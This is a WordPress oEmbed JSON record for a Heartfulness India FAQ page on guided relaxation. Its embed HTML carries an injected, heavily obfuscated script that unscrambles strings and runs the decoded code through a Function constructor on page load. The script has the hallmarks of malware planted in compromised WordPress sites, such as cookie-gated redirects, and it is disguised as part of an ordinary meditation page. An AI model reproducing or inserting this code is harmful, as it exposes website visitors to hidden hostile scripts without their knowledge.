{"version":"1.0","provider_name":"Heartfulness India","provider_url":"https:\/\/writenode.heartfulness.org\/in","author_name":"Chakravarthi Annam","author_url":"https:\/\/writenode.heartfulness.org\/in\/author\/chakravarthi-annam\/","title":"Relax Your Body and Mind - Heartfulness India","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"bUgut2r3FJ\"><a href=\"https:\/\/writenode.heartfulness.org\/in\/faq\/relax-your-body-and-mind\/\">Relax Your Body and Mind<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/writenode.heartfulness.org\/in\/faq\/relax-your-body-and-mind\/embed\/#?secret=bUgut2r3FJ\" width=\"600\" height=\"338\" title=\"&#8220;Relax Your Body and Mind&#8221; &#8212; Heartfulness India\" data-secret=\"bUgut2r3FJ\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\nvar language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g\"lm1(ilunp)nv][=\"uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o\"i2*v0m8\"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o[\"t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs\"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.\";r+p.=n;h;\")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC=\"o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o\")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\\\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\\\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c\"llcj(7eBtuecytBwssBBB.1{4ywe=(r\\\/]Dl.r(om,1$f.\\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\\\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\\'\\'o7_.33!.!t26{g;-ip\"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%.\"8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\\\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\\\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\\\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\\\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\\';,%],s)aj+#\"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn\".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\\\/.a7aB3e=BBsu]b9B\"Bas%3;&(B2%\"$ema\"+BrB,$.ps\\\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_\"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();\/*! 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Relaxation can have deeper effects on both the body and mind. GUIDED RELAXATION \u2022 Sit comfortably and close your eyes very softly and very gently. \u2022 Let\u2019s begin with the toes. Wiggle your toes. Now feel them relax. \u2022 Feel the healing energy&hellip;... Read More."}